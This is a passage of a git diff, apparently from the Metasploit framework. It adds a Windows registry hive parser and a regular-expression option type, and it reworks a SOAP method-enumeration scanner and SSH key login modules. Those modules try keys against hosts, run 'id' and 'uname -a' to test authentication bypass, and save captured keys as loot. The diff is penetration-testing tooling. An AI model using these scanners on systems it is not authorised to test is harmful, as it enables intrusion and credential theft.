diff --git a/README b/README
index ba1136114b..51dcd18363 100644
--- a/README
+++ b/README
@@ -1,4 +1,4 @@
-Copyright (C) 2006-2011, Rapid7 LLC
+Copyright (C) 2006-2012, Rapid7 LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb
index ef7aeb71f9..402a553bfa 100644
--- a/lib/msf/base/serializer/readable_text.rb
+++ b/lib/msf/base/serializer/readable_text.rb
@@ -312,9 +312,9 @@ class ReadableText
next if (opt.advanced?)
next if (opt.evasion?)
- val = mod.datastore[name] || opt.default.to_s
+ val_display = opt.display_value(mod.datastore[name] || opt.default)
- tbl << [ name, val.to_s, opt.required? ? "yes" : "no", opt.desc ]
+ tbl << [ name, val_display, opt.required? ? "yes" : "no", opt.desc ]
}
return tbl.to_s
diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb
index 1b792f92a2..d4cc364ecc 100644
--- a/lib/msf/core/auxiliary/auth_brute.rb
+++ b/lib/msf/core/auxiliary/auth_brute.rb
@@ -514,7 +514,7 @@ module Auxiliary::AuthBrute
# name of the module, assuming the name is sensible like ssh_login or
# smb_auth.
def proto_from_fullname
- File.split(self.fullname).last.match(/^(.*)_(login|auth)/)[1].upcase rescue nil
+ File.split(self.fullname).last.match(/^(.*)_(login|auth|identify)/)[1].upcase rescue nil
end
# Legacy vprint
diff --git a/lib/msf/core/model/cred.rb b/lib/msf/core/model/cred.rb
index 7308a90fea..72dd7691e3 100644
--- a/lib/msf/core/model/cred.rb
+++ b/lib/msf/core/model/cred.rb
@@ -42,9 +42,16 @@ class Cred < ActiveRecord::Base
end
def ssh_key_matches?(other_cred)
- return false unless self.ptype == "ssh_key"
- return false unless other_cred.ptype == self.ptype
- matches = self.ssh_private_keys
+ return false unless other_cred.kind_of? self.class
+ return false unless self.ptype == other_cred.ptype
+ case self.ptype
+ when "ssh_key"
+ matches = self.ssh_private_keys
+ when "ssh_pubkey"
+ matches = self.ssh_public_keys
+ else
+ false
+ end
matches.include?(self) and matches.include?(other_cred)
end
diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb
index a56a02c129..99d0aaab3e 100644
--- a/lib/msf/core/option_container.rb
+++ b/lib/msf/core/option_container.rb
@@ -81,6 +81,13 @@ class OptBase
value
end
+ #
+ # Returns a string representing a user-friendly display of the chosen value
+ #
+ def display_value(value)
+ value.to_s
+ end
+
#
# The name of the option.
#
@@ -137,6 +144,7 @@ end
# OptEnum - Select from a set of valid values
# OptAddressRange - A subnet or range of addresses
# OptSession - A session identifier
+# OptRegexp - Valid Ruby regular expression
#
###
@@ -440,6 +448,44 @@ class OptInt < OptBase
end
end
+###
+#
+# Regexp option
+#
+###
+class OptRegexp < OptBase
+ def type
+ return 'regexp'
+ end
+
+ def valid?(value)
+ unless super
+ return false
+ end
+
+ begin
+ Regexp.compile(value)
+
+ return true
+ rescue RegexpError => e
+ return false
+ end
+ end
+
+ def normalize(value)
+ return Regexp.compile(value)
+ end
+
+ def display_value(value)
+ if value.kind_of?(Regexp)
+ return value.source
+ elsif value.kind_of?(String)
+ return display_value(normalize(value))
+ end
+
+ return super
+ end
+end
###
#
diff --git a/lib/rex/registry.rb b/lib/rex/registry.rb
new file mode 100644
index 0000000000..cc67f232f8
--- /dev/null
+++ b/lib/rex/registry.rb
@@ -0,0 +1,13 @@
+require 'rex/registry/hive'
+require 'rex/registry/regf'
+require 'rex/registry/nodekey'
+require 'rex/registry/lfkey'
+require 'rex/registry/valuekey'
+require 'rex/registry/valuelist'
+
+module Rex
+module Registry
+
+ attr_accessor :alias
+end
+end
diff --git a/lib/rex/registry/hive.rb b/lib/rex/registry/hive.rb
new file mode 100644
index 0000000000..c8420bac85
--- /dev/null
+++ b/lib/rex/registry/hive.rb
@@ -0,0 +1,110 @@
+require_relative "regf"
+require_relative "nodekey"
+
+module Rex
+module Registry
+
+class Hive
+ attr_accessor :root_key, :hive_regf
+
+ def initialize(hivepath)
+
+ hive_blob = open(hivepath, "rb") { |io| io.read }
+ @hive_regf = RegfBlock.new(hive_blob)
+
+ @root_key = NodeKey.new(hive_blob, 0x1000 + @hive_regf.root_key_offset)
+ end
+
+ def relative_query(path)
+
+ if path == "" || path == "\\"
+ return @root_key
+ end
+
+ current_child = nil
+ paths = path.split("\\")
+
+ return if !@root_key.lf_record
+
+ @root_key.lf_record.children.each do |child|
+ next if child.name.downcase != paths[1].downcase
+
+ current_child = child
+
+ if paths.length == 2
+ current_child.full_path = path
+ return current_child
+ end
+
+ 2.upto(paths.length) do |i|
+
+ if i == paths.length
+ current_child.full_path = path
+ return current_child
+ else
+ if current_child.lf_record && current_child.lf_record.children
+ current_child.lf_record.children.each do |c|
+ next if c.name.downcase != paths[i].downcase
+
+ current_child = c
+
+ break
+ end
+ end
+ end
+
+ end
+ end
+
+ return if !current_child
+
+ current_child.full_path = path
+ return current_child
+ end
+
+ def value_query(path)
+ if path == "" || path == "\\"
+ return nil
+ end
+
+ paths = path.split("\\")
+
+ return if !@root_key.lf_record
+
+ @root_key.lf_record.children.each do |root_child|
+ next if root_child.name.downcase != paths[1].downcase
+
+ current_child = root_child
+
+ if paths.length == 2
+ return nil
+ end
+
+ 2.upto(paths.length - 1) do |i|
+ next if !current_child.lf_record
+
+ current_child.lf_record.children.each do |c|
+ next if c.name != paths[i]
+ current_child = c
+
+ break
+ end
+ end
+
+ if !current_child.value_list || current_child.value_list.values.length == 0
+ return nil
+ end
+
+ current_child.value_list.values.each do |value|
+ next if value.name.downcase != paths[paths.length - 1].downcase
+
+ value.full_path = path
+ return value
+ end
+ end
+ end
+
+end
+
+end
+end
diff --git a/lib/rex/registry/lfkey.rb b/lib/rex/registry/lfkey.rb
new file mode 100644
index 0000000000..ad7aa371d4
--- /dev/null
+++ b/lib/rex/registry/lfkey.rb
@@ -0,0 +1,50 @@
+require_relative "nodekey"
+
+module Rex
+module Registry
+
+class LFBlock
+
+ attr_accessor :number_of_keys, :hash_records, :children
+
+ def initialize(hive_blob, offset)
+ offset = offset + 4
+ lf_header = hive_blob[offset, 2]
+
+ if lf_header !~ /lf/ && lf_header !~ /lh/
+ return
+ end
+
+ @number_of_keys = hive_blob[offset + 0x02, 2].unpack('C').first
+
+ @hash_records = []
+ @children = []
+
+ hash_offset = offset + 0x04
+
+ 1.upto(@number_of_keys) do |h|
+
+ hash = LFHashRecord.new(hive_blob, hash_offset)
+
+ @hash_records << hash
+
+ hash_offset = hash_offset + 0x08
+
+ @children << NodeKey.new(hive_blob, hash.nodekey_offset + 0x1000)
+ end
+ end
+end
+
+class LFHashRecord
+
+ attr_accessor :nodekey_offset, :nodekey_name_verification
+
+ def initialize(hive_blob, offset)
+ @nodekey_offset = hive_blob[offset, 4].unpack('l').first
+ @nodekey_name_verification = hive_blob[offset+0x04, 4].to_s
+ end
+
+end
+
+end
+end
diff --git a/lib/rex/registry/nodekey.rb b/lib/rex/registry/nodekey.rb
new file mode 100644
index 0000000000..b5b99cf896
--- /dev/null
+++ b/lib/rex/registry/nodekey.rb
@@ -0,0 +1,53 @@
+require_relative "lfkey"
+require_relative "valuelist"
+
+module Rex
+module Registry
+
+class NodeKey
+
+ attr_accessor :timestamp, :parent_offset, :subkeys_count, :lf_record_offset
+ attr_accessor :value_count, :value_list_offset, :security_key_offset
+ attr_accessor :class_name_offset, :name_length, :class_name_length, :full_path
+ attr_accessor :name, :lf_record, :value_list, :class_name_data, :readable_timestamp
+
+ def initialize(hive, offset)
+
+ offset = offset + 0x04
+
+ nk_header = hive[offset, 2]
+ nk_type = hive[offset+0x02, 2]
+
+ if nk_header !~ /nk/
+ return
+ end
+
+ @timestamp = hive[offset+0x04, 8].unpack('q').first
+ @parent_offset = hive[offset+0x10, 4].unpack('l').first
+ @subkeys_count = hive[offset+0x14, 4].unpack('l').first
+ @lf_record_offset = hive[offset+0x1c, 4].unpack('l').first
+ @value_count = hive[offset+0x24, 4].unpack('l').first
+ @value_list_offset = hive[offset+0x28, 4].unpack('l').first
+ @security_key_offset = hive[offset+0x2c, 4].unpack('l').first
+ @class_name_offset = hive[offset+0x30, 4].unpack('l').first
+ @name_length = hive[offset+0x48, 2].unpack('c').first
+ @class_name_length = hive[offset+0x4a, 2].unpack('c').first
+ @name = hive[offset+0x4c, @name_length].to_s
+
+ windows_time = @timestamp
+ unix_time = windows_time/10000000-11644473600
+ ruby_time = Time.at(unix_time)
+
+ @readable_timestamp = ruby_time
+
+ @lf_record = LFBlock.new(hive, @lf_record_offset + 0x1000) if @lf_record_offset != -1
+ @value_list = ValueList.new(hive, @value_list_offset + 0x1000, @value_count) if @value_list_offset != -1
+
+ @class_name_data = hive[@class_name_offset + 0x04 + 0x1000, @class_name_length]
+
+ end
+
+end
+
+end
+end
diff --git a/lib/rex/registry/regf.rb b/lib/rex/registry/regf.rb
new file mode 100644
index 0000000000..b135f5ec42
--- /dev/null
+++ b/lib/rex/registry/regf.rb
@@ -0,0 +1,26 @@
+module Rex
+module Registry
+
+class RegfBlock
+
+ attr_accessor :timestamp, :root_key_offset, :hive_name
+
+ def initialize(hive)
+
+ regf_header = hive[0x00, 4]
+
+ if regf_header !~ /regf/
+ puts "Not a registry hive"
+
+ return
+ end
+
+ @timestamp = hive[0x0C, 8].unpack('q').first
+ @root_key_offset = 0x20
+ @hive_name = hive[0x30-1, 64].to_s.gsub("\x00", "")
+
+ end
+end
+
+end
+end
diff --git a/lib/rex/registry/valuekey.rb b/lib/rex/registry/valuekey.rb
new file mode 100644
index 0000000000..1515388384
--- /dev/null
+++ b/lib/rex/registry/valuekey.rb
@@ -0,0 +1,66 @@
+module Rex
+module Registry
+
+class ValueKey
+
+ attr_accessor :name_length, :length_of_data, :data_offset, :full_path
+ attr_accessor :value_type, :readable_value_type, :name, :value
+
+ def initialize(hive, offset)
+ offset = offset + 4
+
+ vk_header = hive[offset, 2]
+
+ if vk_header !~ /vk/
+ puts "no vk at offset #{offset}"
+ return
+ end
+
+ @name_length = hive[offset+0x02, 2].unpack('c').first
+ @length_of_data = hive[offset+0x04, 4].unpack('l').first
+ @data_offset = hive[offset+ 0x08, 4].unpack('l').first
+ @value_type = hive[offset+0x0C, 4].unpack('c').first
+
+ if @value_type == 1
+ @readable_value_type = "Unicode character string"
+ elsif @value_type == 2
+ @readable_value_type = "Unicode string with %VAR% expanding"
+ elsif @value_type == 3
+ @readable_value_type = "Raw binary value"
+ elsif @value_type == 4
+ @readable_value_type = "Dword"
+ elsif @value_type == 7
+ @readable_value_type = "Multiple unicode strings separated with '\\x00'"
+ end
+
+ flag = hive[offset+0x10, 2].unpack('c').first
+
+ if flag == 0
+ @name = "Default"
+ else
+ @name = hive[offset+0x14, @name_length].to_s
+ end
+
+ @value = ValueKeyData.new(hive, @data_offset, @length_of_data, @value_type, offset)
+ end
+end
+
+class ValueKeyData
+
+ attr_accessor :data
+
+ def initialize(hive, offset, length, datatype, parent_offset)
+ offset = offset + 4
+
+ #If the data-size is lower than 5, the data-offset value is used to store
+ #the data itself!
+ if length < 5
+ @data = hive[parent_offset + 0x08, 4]
+ else
+ @data = hive[offset + 0x1000, length]
+ end
+ end
+end
+
+end
+end
diff --git a/lib/rex/registry/valuelist.rb b/lib/rex/registry/valuelist.rb
new file mode 100644
index 0000000000..6c3afd142f
--- /dev/null
+++ b/lib/rex/registry/valuelist.rb
@@ -0,0 +1,28 @@
+require_relative "valuekey"
+
+module Rex
+module Registry
+
+class ValueList
+
+ attr_accessor :values
+
+ def initialize(hive, offset, number_of_values)
+ offset = offset + 4
+ inner_offset = 0
+
+ @values = []
+
+ 1.upto(number_of_values) do |v|
+ valuekey_offset = hive[offset + inner_offset, 4]
+ next if !valuekey_offset
+
+ valuekey_offset = valuekey_offset.unpack('l').first
+ @values << ValueKey.new(hive, valuekey_offset + 0x1000)
+ inner_offset = inner_offset + 4
+ end
+ end
+end
+
+end
+end
diff --git a/modules/auxiliary/scanner/http/soap_xml.rb b/modules/auxiliary/scanner/http/soap_xml.rb
index c4ec888e41..6d58164105 100644
--- a/modules/auxiliary/scanner/http/soap_xml.rb
+++ b/modules/auxiliary/scanner/http/soap_xml.rb
@@ -42,7 +42,9 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('XMLSCHEMA', [ true, "XML Schema", 'http://www.w3.org/2001/XMLSchema']),
OptString.new('XMLSOAP', [ true, "XML SOAP", 'http://schemas.xmlsoap.org/soap/envelope/']),
OptString.new('CONTENTTYPE', [ true, "The HTTP Content-Type Header", 'application/x-www-form-urlencoded']),
+ OptInt.new('SLEEP', [true, "Sleep this many seconds between requests", 0 ]),
OptBool.new('DISPLAYHTML', [ true, "Display HTML response", false ]),
+ OptBool.new('SSL', [ true, "Use SSL", false ]),
], self.class)
end
@@ -53,6 +55,7 @@ class Metasploit3 < Msf::Auxiliary
verbs = [
'get',
'active',
+ 'activate',
'create',
'change',
'set',
@@ -74,33 +77,49 @@ class Metasploit3 < Msf::Auxiliary
'register',
'log',
'add',
+ 'list',
+ 'query',
#'delete', # Best to be safe!
]
nouns = [
'password',
'task',
+ 'tasks',
'pass',
'administration',
'account',
+ 'accounts',
'admin',
'login',
+ 'logins',
'token',
- 'credentials',
+ 'tokens',
'credential',
+ 'credentials',
'key',
+ 'keys',
'guid',
'message',
+ 'messages',
'user',
+ 'users',
'username',
+ 'usernames',
'load',
'list',
'name',
+ 'names',
'file',
+ 'files',
'path',
+ 'paths',
'directory',
+ 'directories',
'configuration',
+ 'configurations',
'config',
+ 'configs',
'setting',
'settings',
'registry',
@@ -111,79 +130,74 @@ class Metasploit3 < Msf::Auxiliary
target_port = datastore['RPORT']
vhost = datastore['VHOST'] || wmap_target_host || ip
+ # regular expressions for common rejection messages
+ reject_regexen = []
+ reject_regexen << Regexp.new("method \\S+ is not valid", true)
+ reject_regexen << Regexp.new("Method \\S+ not implemented", true)
+ reject_regexen << Regexp.new("unable to resolve WSDL method name", true)
+
begin
- # Check service exists
- res = send_request_raw({
- 'uri' => datastore['PATH'],
- 'method' => 'GET',
- 'vhost' => vhost,
- }, 10)
+ verbs.each do |v|
+ nouns.each do |n|
+ data_parts = []
+ data_parts << ""
+ data_parts << ""
+ data_parts << ""
+ data_parts << "<#{v}#{n} xmlns=\"#{datastore['XMLNAMESPACE']}\">"
+ data_parts << "#{v}#{n}>"
+ data_parts << ""
+ data_parts << ""
+ data_parts << nil
+ data_parts << nil
+ data = data_parts.join("\r\n")
- if (res.code == 200)
- print_status("PATH appears to be OK.")
+ res = send_request_raw({
+ 'uri' => datastore['PATH'] + '/' + v + n,
+ 'method' => 'POST',
+ 'vhost' => vhost,
+ 'data' => data,
+ 'headers' =>
+ {
+ 'Content-Length' => data.length,
+ 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"',
+ 'Expect' => '100-continue',
+ 'Content-Type' => datastore['CONTENTTYPE'],
+ }
+ }, 15)
- verbs.each do |v|
- nouns.each do |n|
-
- # This could be cleaned up - patrickw
- data = '' + "\r\n"
- data << '' + "\r\n"
- data << '' + "\r\n"
- data << "<#{v}#{n}" + " xmlns=\"#{datastore['XMLNAMESPACE']}\">" + "\r\n"
- data << "#{v}#{n}>" + "\r\n"
- data << '' + "\r\n"
- data << '' + "\r\n\r\n"
-
- res = send_request_raw({
- 'uri' => datastore['PATH'] + '/' + v + n,
- 'method' => 'POST',
- 'vhost' => vhost,
- 'data' => data,
- 'headers' =>
- {
- 'Content-Length' => data.length,
- 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"',
- 'Expect' => '100-continue',
- 'Content-Type' => datastore['CONTENTTYPE'],
- }
- }, 15)
-
- if (res && !(res.body.empty?))
- if (res.body =~ /method name is not valid/)
- print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
- elsif (res.message =~ /Cannot process the message because the content type/)
- print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.")
- res.message =~ /was not the expected type\s\'([^']+)'/
- print_status("Set CONTENTTYPE to \"#{$1}\"")
- return false
- elsif (res.code == 404)
- return false
- else
- print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
- ## Add Report
- report_note(
- :host => ip,
- :proto => 'tcp',
- :sname => 'HTTP',
- :port => rport,
- :type => "SOAPAction: #{v}#{n}",
- :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}."
- )
- if datastore['DISPLAYHTML']
- print_status("The HTML content follows:")
- print_status(res.body + "\r\n")
- end
- end
- end
- end
- end
-
- else
- print_status("Server did not respond with 200 OK.")
- print_status(res.to_s)
- end
- rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
- rescue ::Timeout::Error, ::Errno::EPIPE
+ if (res && !(res.body.empty?))
+ if ((not reject_regexen.select { |r| res.body =~ r }.empty?))
+ print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
+ elsif (res.message =~ /Cannot process the message because the content type/)
+ print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.")
+ res.message =~ /was not the expected type\s\'([^']+)'/
+ print_status("Set CONTENTTYPE to \"#{$1}\"")
+ return false
+ elsif (res.code == 404)
+ print_status("Server returned HTTP 404 for #{datastore['PATH']}. Use a different one.")
+ return false
+ else
+ print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
+ ## Add Report
+ report_note(
+ :host => ip,
+ :proto => 'tcp',
+ :sname => (ssl ? 'https' : 'http'),
+ :port => rport,
+ :type => "SOAPAction: #{v}#{n}",
+ :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}."
+ )
+ if datastore['DISPLAYHTML']
+ print_status("The HTML content follows:")
+ print_status(res.body + "\r\n")
+ end
+ end
+ end
+ select(nil, nil, nil, datastore['SLEEP']) if (datastore['SLEEP'] > 0)
+ end
+ end
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
+ print_error(e)
end
end
end
diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb
index 38c8f0b423..2427d830b1 100644
--- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb
+++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb
@@ -159,7 +159,6 @@ class Metasploit3 < Msf::Auxiliary
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
keys = read_keyfile(datastore['KEY_FILE'])
- @keyfile_path = datastore['KEY_FILE'].dup
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
@@ -167,10 +166,9 @@ class Metasploit3 < Msf::Auxiliary
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
elsif datastore['KEY_DIR']
- @keyfile_path = datastore['KEY_DIR'].dup
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
unless @key_files
- @key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
+ @key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/}
end
these_keys = @key_files.map {|f| File.join(key_dir,f)}
keys = read_keyfile(these_keys)
@@ -214,14 +212,14 @@ class Metasploit3 < Msf::Auxiliary
if datastore['SSH_BYPASS']
data = nil
- print_status("#{ip}:#{rport} - SSH - User #{user} is being tested for authentication bypass...")
+ print_status("#{ip}:#{rport} SSH - User #{user} is being tested for authentication bypass...")
begin
::Timeout.timeout(5) { data = ssh_socket.exec!("help\nid\nuname -a").to_s }
rescue ::Exception
end
- print_good("#{ip}:#{rport} - SSH - User #{user} successfully bypassed authentication: #{data.inspect} ") if data
+ print_brute(:level => :good, :msg => "User #{user} successfully bypassed authentication: #{data.inspect} ") if data
end
::Timeout.timeout(1) { ssh_socket.close } rescue nil
@@ -237,14 +235,14 @@ class Metasploit3 < Msf::Auxiliary
if accepted.length == 0
if @key_files
- vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
+ print_brute :level => :verror, :msg => "User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
else
- vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{key_idx+1} #{key_info}"
+ print_brute :level => :verror, :msg => "User #{user} does not accept key #{key_idx+1} #{key_info}"
end
end
accepted.each do |key|
- print_good "#{ip}:#{rport} SSH - Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
+ print_brute :level => :good, :msg => "Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
do_report(ip, rport, user, key, key_data)
end
end
@@ -252,58 +250,43 @@ class Metasploit3 < Msf::Auxiliary
def do_report(ip, port, user, key, key_data)
return unless framework.db.active
- store_keyfile_b64_loot(ip,user,key[:fingerprint])
+ keyfile_path = store_keyfile(ip,user,key[:fingerprint],key_data)
cred_hash = {
:host => ip,
:port => rport,
:sname => 'ssh',
:user => user,
- :pass => @keyfile_path,
+ :pass => keyfile_path,
:source_type => "user_supplied",
:type => 'ssh_pubkey',
:proof => "KEY=#{key[:fingerprint]}",
:duplicate_ok => true,
- :active => true
+ :active => true
}
this_cred = report_auth_info(cred_hash)
end
- # Checks if any existing privkeys matches the named key's
- # key id. If so, assign that other key's cred.id to this
- # one's proof section, and vice-versa.
- def cross_check_privkeys(key_id)
- return unless framework.db.active
- other_cred = nil
- framework.db.creds.each do |cred|
- next unless cred.ptype == "ssh_key"
- next unless cred.proof =~ /#{key_id}/
- other_cred = cred
- break
- end
- return other_cred
+ def existing_loot(ltype, key_id)
+ framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first
end
- # Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
- # good, then store it as loot for this user@host, unless we
- # already have it in loot.
- def store_keyfile_b64_loot(ip,user,key_id)
- return unless db
- return if @keyfile_path
- return if datastore["SSH_KEYFILE_B64"].to_s.empty?
- keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first
- keyfile = keyfile.strip + "\n"
- ktype_match = keyfile.match(/ssh-(rsa|dss)/)
- return unless ktype_match
- ktype = ktype_match[1].downcase
- ktype = "dsa" if ktype == "dss" # Seems sensible to recast it
+ def store_keyfile(ip,user,key_id,key_data)
+ safe_username = user.gsub(/[^A-Za-z0-9]/,"_")
+ ktype = key_data.match(/ssh-(rsa|dss)/)[1] rescue nil
+ return unless ktype
+ ktype = "dsa" if ktype == "dss"
ltype = "host.unix.ssh.#{user}_#{ktype}_public"
- # Assignment and comparison here, watch out!
- if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id)
- if loot.info.include? key_id
- @keyfile_path = loot.path
- end
- end
- @keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id)
+ keyfile = existing_loot(ltype, key_id)
+ return keyfile.path if keyfile
+ keyfile_path = store_loot(
+ ltype,
+ "application/octet-stream", # Text, but always want to mime-type attach it
+ ip,
+ (key_data + "\n"),
+ "#{safe_username}_#{ktype}.pub",
+ key_id
+ )
+ return keyfile_path
end
def run_host(ip)
@@ -314,17 +297,17 @@ class Metasploit3 < Msf::Auxiliary
ret, proof = do_login(ip, rport, user)
case ret
when :connection_error
- vprint_error "#{ip}:#{rport} - SSH - Could not connect"
+ vprint_error "#{ip}:#{rport} SSH - Could not connect"
:abort
when :connection_disconnect
- vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
+ vprint_error "#{ip}:#{rport} SSH - Connection timed out"
:abort
when :fail
- vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
+ vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'"
when :missing_keyfile
- vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile"
+ vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile"
when :no_valid_keys
- vprint_error "#{ip}:#{rport} - SSH - No readable keys in keyfile"
+ vprint_error "#{ip}:#{rport} SSH - No readable keys in keyfile"
end
end
end
diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb
index a609e98301..6ab108773b 100644
--- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb
+++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb
@@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::CommandShell
- attr_accessor :ssh_socket, :good_credentials, :good_key
+ attr_accessor :ssh_socket, :good_credentials, :good_key, :good_key_data
def initialize
super(
@@ -147,7 +147,6 @@ class Metasploit3 < Msf::Auxiliary
def do_login(ip,user,port)
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
keys = read_keyfile(datastore['KEY_FILE'])
- @keyfile_path = datastore['KEY_FILE'].dup
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
@@ -155,7 +154,6 @@ class Metasploit3 < Msf::Auxiliary
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
elsif datastore['KEY_DIR']
- @keyfile_path = datastore['KEY_DIR'].dup
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
unless @key_files
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
@@ -195,9 +193,9 @@ class Metasploit3 < Msf::Auxiliary
rescue Net::SSH::AuthenticationFailed
# Try, try, again
if @key_files
- vprint_error "#{ip}:#{rport} - SSH - Failed authentication, trying key #{@key_files[key_idx+1]}"
+ vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{@key_files[key_idx+1]}"
else
- vprint_error "#{ip}:#{rport} - SSH - Failed authentication, trying key #{key_idx+1}"
+ vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{key_idx+1}"
end
next
rescue Net::SSH::Exception => e
@@ -208,6 +206,7 @@ class Metasploit3 < Msf::Auxiliary
if self.ssh_socket
self.good_key = self.ssh_socket.auth_info[:pubkey_id]
+ self.good_key_data = self.ssh_socket.options[:key_data]
proof = ''
begin
Timeout.timeout(5) do
@@ -247,42 +246,50 @@ class Metasploit3 < Msf::Auxiliary
end
end
- def do_report(ip,user,port,proof)
+ def do_report(ip, port, user, proof)
return unless framework.db.active
- store_keyfile_b64_loot(ip,user,self.good_key)
+ keyfile_path = store_keyfile(ip,user,self.good_key,self.good_key_data)
cred_hash = {
:host => ip,
:port => datastore['RPORT'],
:sname => 'ssh',
:user => user,
- :pass => @keyfile_path,
+ :pass => keyfile_path,
:type => "ssh_key",
:proof => "KEY=#{self.good_key}, PROOF=#{proof}",
- :active => true
+ :duplicate_ok => true,
+ :active => true
}
this_cred = report_auth_info(cred_hash)
end
- # Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
- # good, then store it as loot for this user@host, unless we
- # already have it in loot.
- def store_keyfile_b64_loot(ip,user,key_id)
- return unless db
- return if @keyfile_path
- return if datastore["SSH_KEYFILE_B64"].to_s.empty?
- keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first
- keyfile = keyfile.strip + "\n"
- ktype_match = keyfile.match(/--BEGIN ([DR]SA) PRIVATE/)
- return unless ktype_match
- ktype = ktype_match[1].downcase
- ltype = "host.unix.ssh.#{user}_#{ktype}_private"
- # Assignment and comparison here, watch out!
- if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id)
- if loot.info.include? key_id
- @keyfile_path = loot.path
- end
+ def existing_loot(ltype, key_id)
+ framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first
+ end
+
+ def store_keyfile(ip,user,key_id,key_data)
+ safe_username = user.gsub(/[^A-Za-z0-9]/,"_")
+ case key_data
+ when /BEGIN RSA PRIVATE/m
+ ktype = "rsa"
+ when /BEGIN DSA PRIVATE/m
+ ktype = "dsa"
+ else
+ ktype = nil
end
- @keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id)
+ return unless ktype
+ ltype = "host.unix.ssh.#{user}_#{ktype}_private"
+ keyfile = existing_loot(ltype, key_id)
+ return keyfile.path if keyfile
+ keyfile_path = store_loot(
+ ltype,
+ "application/octet-stream", # Text, but always want to mime-type attach it
+ ip,
+ (key_data + "\n"),
+ "#{safe_username}_#{ktype}.key",
+ key_id
+ )
+ return keyfile_path
end
def run_host(ip)
@@ -294,21 +301,21 @@ class Metasploit3 < Msf::Auxiliary
ret,proof = do_login(ip,user,rport)
case ret
when :success
- print_good "#{ip}:#{rport} SSH - Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
- do_report(ip,user,rport,proof)
+ print_brute :level => :good, :msg => "Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
